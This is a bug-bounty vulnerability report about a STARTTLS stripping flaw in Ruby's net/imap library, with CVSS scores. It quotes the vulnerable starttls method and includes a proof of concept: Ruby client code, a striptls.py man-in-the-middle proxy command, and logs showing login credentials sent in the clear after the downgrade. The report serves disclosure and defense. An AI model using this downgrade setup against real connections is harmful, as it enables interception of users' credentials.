Lucene search

K
hackeroneSighookH1:1178562
HistoryApr 28, 2021 - 4:06 p.m.

Ruby: imap: StartTLS stripping attack (CVE-2016-0772).

2021-04-2816:06:30
sighook
hackerone.com
$500
109

7.4 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

5.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:P/I:P/A:N

0.006 Low

EPSS

Percentile

76.4%

net/imap does not seem to raise an exception when the remote end (imap server) fails to respond with tagged_response (NO/BAD) or OK to an explicit call of imap.starttls. This may allow a malicious MITM to perform a starttls stripping attack if the client code does not explicitly set usessl = true on initialize where it is disabled by default: it is rarely done as one might expect that starttls raises an exception when starttls negotiation fails (like when using usessl on a server that does not support it or when it fails to negotiate tls due to an ssl exception/cipher mismatch/auth fail).

The vulnerable code:

    def starttls(options = {}, verify = true)
      send_command("STARTTLS") do |resp|
        if resp.kind_of?(TaggedResponse) && resp.name == "OK"
          begin
            # for backward compatibility
            certs = options.to_str
            options = create_ssl_params(certs, verify)
          rescue NoMethodError
          end
          start_tls_session(options)
        end # <--- End of handling :)
      end
    end

PoC

For instance, we have the following client code:

require 'net/imap'

imap = Net::IMAP.new('0.0.0.0', 9999)
imap.starttls
imap.login('myLOGIN','myPASSWORD')                                            # test login
#imap.authenticate('LOGIN', 'joe_user', 'joes_password') # test auth
imap.disconnect

Start the proxy: python striptls.py -l 0.0.0.0:9999 -r imap.yandex.ru:143 -x IMAP.StripWithError
(See striptls.py in attachments).

Proxy output:

$  python striptls.py -l 0.0.0.0:9999 -r imap.yandex.ru:143 -x IMAP.StripWithError
2021-04-28 18:43:27,286 - INFO     - <Session 0x7fd5850b3c10> client ('127.0.0.1', 39154) has connected
2021-04-28 18:43:27,286 - INFO     - <Session 0x7fd5850b3c10> connecting to target ('imap.yandex.ru', 143)
2021-04-28 18:43:27,347 - DEBUG    - <Session 0x7fd5850b3c10> [client] <= [server]          '* OK Yandex IMAP4rev1 at myt3-8d2078fedea5.qloud-c.yandex.net:143 ready to talk with ::ffff:188.138.209.162:62549, 2021-Apr-28 18:43:52, qheZ7J3friE1\r\n'
2021-04-28 18:43:27,348 - DEBUG    - <RewriteDispatcher  - changed mangle: __main__.StripWithError new: True>
2021-04-28 18:43:27,348 - DEBUG    - <Session 0x7fd5850b3c10> [client] => [server]          'RUBY0001 STARTTLS\r\n'
2021-04-28 18:43:27,349 - DEBUG    - <Session 0x7fd5850b3c10> [client] <= [server][mangled] 'RUBY0001 BUG unhandled command\r\n'
2021-04-28 18:43:27,349 - DEBUG    - <Session 0x7fd5850b3c10> [client] => [server][mangled] None
2021-04-28 18:43:27,349 - DEBUG    - <Session 0x7fd5850b3c10> [client] => [server]          'RUBY0002 LOGIN myLOGIN myPASSWORD\r\n'
...

As you can see, starttls did not return any error to the client and LOGIN authentication started.
AUTH is the same:

2021-04-28 18:47:00,579 - DEBUG    - <Session 0x7fd5850b3dd0> [client] => [server]          'RUBY0001 STARTTLS\r\n'
2021-04-28 18:47:00,579 - DEBUG    - <Session 0x7fd5850b3dd0> [client] <= [server][mangled] 'RUBY0001 BUG unhandled command\r\n'
2021-04-28 18:47:00,579 - DEBUG    - <Session 0x7fd5850b3dd0> [client] => [server][mangled] None
2021-04-28 18:47:00,579 - DEBUG    - <Session 0x7fd5850b3dd0> [client] => [server]          'RUBY0002 AUTHENTICATE'
2021-04-28 18:47:00,580 - DEBUG    - <Session 0x7fd5850b3dd0> [client] => [server]          ' LOGIN\r\n'
2021-04-28 18:47:00,580 - DEBUG    - <Session 0x7fd5850b3dd0> [client] <= [server][mangled] '+\r\n'
2021-04-28 18:47:00,580 - DEBUG    - <Session 0x7fd5850b3dd0> [client] => [server][mangled] None
2021-04-28 18:47:00,580 - DEBUG    - <Session 0x7fd5850b3dd0> [client] => [server]          'am9lX3VzZXI=\r\n'
2021-04-28 18:47:00,580 - DEBUG    - <Session 0x7fd5850b3dd0> [client] <= [server][mangled] '+ UGFzc3dvcmQ6\r\n'
2021-04-28 18:47:00,580 - DEBUG    - <Session 0x7fd5850b3dd0> [client] => [server][mangled] None
2021-04-28 18:47:00,581 - DEBUG    - <Session 0x7fd5850b3dd0> [client] => [server]          'am9lc19wYXNzd29yZA==\r\n'
2021-04-28 18:47:00,581 - DEBUG    - <Session 0x7fd5850b3dd0> [client] <= [server][mangled] '+ UGFzc3dvcmQ6\r\n'
2021-04-28 18:47:00,581 - DEBUG    - <Session 0x7fd5850b3dd0> [client] => [server][mangled] None
2021-04-28 18:47:00,581 - DEBUG    - <Session 0x7fd5850b3dd0> [client] => [server]          'am9lc19wYXNzd29yZA==\r\n'
2021-04-28 18:47:00,581 - DEBUG    - <Session 0x7fd5850b3dd0> [client] <= [server][mangled] '+ UGFzc3dvcmQ6\r\n'
2021-04-28 18:47:00,581 - DEBUG    - <Session 0x7fd5850b3dd0> [client] => [server][mangled] None
2021-04-28 18:47:00,582 - DEBUG    - <Session 0x7fd5850b3dd0> [client] => [server]          'am9lc19wYXNzd29yZA=='
2021-04-28 18:47:00,582 - DEBUG    - <Session 0x7fd5850b3dd0> [client] => [server]          '\r\n'
2021-04-28 18:47:00,635 - DEBUG    - <Session 0x7fd5850b3dd0> [client] <= [server]          'RUBY0002 BAD Command syntax error. sc=PleRNJ32YGk1_281547_4-d4596b06cae3\r\n'

I set the same CVSS as CVE-2016-0772 has.

Impact

Allows man-in-the-middle attackers to bypass the TLS protections by leveraging a network position between the client and the registry to block the StartTLS command, aka a “StartTLS stripping attack.”

7.4 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

5.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:P/I:P/A:N

0.006 Low

EPSS

Percentile

76.4%